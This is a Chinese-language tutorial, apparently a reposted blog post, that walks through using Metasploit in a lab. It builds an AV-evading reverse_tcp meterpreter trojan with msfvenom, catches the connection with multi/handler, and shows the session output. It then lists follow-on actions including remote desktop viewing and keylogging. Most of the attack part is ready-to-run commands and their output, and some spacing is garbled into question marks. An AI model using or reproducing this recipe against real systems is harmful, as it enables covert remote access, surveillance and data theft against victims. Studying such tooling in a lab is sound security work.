特点:这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中用着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
Metasploit自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)上看到如何生成漏洞。这使自己编写漏洞变得更简单,它势必将提升非法shellcode的水平,并且扩大网络阴暗面。与其相似的专业漏洞工具,如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了使用的门槛,将其推广给大众。
接下来开始简单而又有趣的小实验
攻击机:KaliLinux--2018.1最新版的(刚安装的时候跑了很多坑) ???????????????????????????????ip:172.16.221.243
受害者:windows7 ??????????????????????????????ip:172.16.221.153
1.首先生成一个木马文件
(1)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 ?LHOST=172.16.221.243 LPORT=12315 ?-f exe > ?/root/muma.exe
msfvenom用于生成木马文件
-p –payload < payload> 指定需要使用的payload(攻击荷载)
msfvenom -l payloads 查看所有的攻击载荷
windows/meterpreter/reverse_tcp 我们选择使用的攻击载荷
-e –encoder [encoder] 指定需要使用的encoder(编码器)
msfvenom -l encoders 查看编码
x86/shikata_ga_nai 我们所选择的编码格式(用于免杀)
-i 5 –iterations < count> 指定payload的编码次数为5次(次数越多免杀的概率越大)
LHOST指定ip地址
LPORT指定监听的端口可任意更改
-f –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
/root/muma.exe 指定到生成的目录
2.将木马文件移动到受害者主机
3.我是直接使用图形化armitage方便后面的操作
(1)use exploit/multi/handler 进入
(2)msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 选择此攻击载荷
payload => windows/meterpreter/reverse_tcp ????此为回显内容证明已切换到此攻击载荷
(3)msf exploit(multi/handler) > show options 查看此攻击载荷的配置
?Module options (exploit/multi/handler): ?Name ?Current Setting ?Required ?Description ?---- ?--------------- ?-------- ?----------- ?Payload options (windows/meterpreter/reverse_tcp): ?Name ?????Current Setting ?Required ?Description ?---- ?????--------------- ?-------- ?----------- ?EXITFUNC ?process ?????????yes ??????Exit technique (Accepted: ‘‘, seh, thread, process, none) ?LHOST ????172.16.221.243 ??yes ??????The listen address ?LPORT ????18609 ???????????yes ??????The listen port ?Exploit target: ?Id ?Name ?-- ?---- ?0 ??Wildcard Target(回显内容)(4)msf exploit(multi/handler) > set LPORT 12315 将端口修改为生成木马文件时设置监听的端口 ?LPORT => 12315(回显内容证明修改成功)(5)msf exploit(multi/handler) > show options查看攻击载荷的配置 ?Module options (exploit/multi/handler): ?Name ?Current Setting ?Required ?Description ?---- ?--------------- ?-------- ?----------- ?Payload options (windows/meterpreter/reverse_tcp): ?Name ?????Current Setting ?Required ?Description ?---- ?????--------------- ?-------- ?----------- ?EXITFUNC ?process ?????????yes ??????Exit technique (Accepted: ‘‘, seh, thread, process, none) ?LHOST ????172.16.221.243 ??yes ??????The listen address ?LPORT ????12315(看这里端口已经更改了) ???????????yes ??????The listen port ?Exploit target: ?Id ?Name ?-- ?---- ?0 ??Wildcard Target
(6)msf exploit(multi/handler) > exploit运行(在受害者主机别忘了运行你的木马文件)
[] Started reverse TCP handler on 172.16.221.243:12315
[] Sending stage (179779 bytes) to 172.16.221.153
[*] Meterpreter session 9 opened (172.16.221.243:12315 -> 172.16.221.153:50596) at ???2018-04-27 15:17:12 +0800
?[*] Meterpreter session 11 opened (172.16.221.243:12315 -> 172.16.221.153:50679) at 2018-04-27 15:37:31 +0800 ???????出现以上内容即为成功
4.刚才说过图形化方便操作,接下来给大家介绍一些小操作
电脑出现这样代表可以攻击了
鼠标右键会出现可用的载荷
运行一些shell命令,建议用meterpreter shell 来运行shell命令 我在做实验的时候其他的shell命令并不会运行
getuid ??获得uid
sysinfo ??查看系统
run vnc ??开启vnc
getdesktop ????远程监控桌面
浏览文件目录
键盘记录器都懂得
基本就是这些小操作
Metasploit 生成木马反弹shell
原文地址:http://blog.51cto.com/superwolf/2108600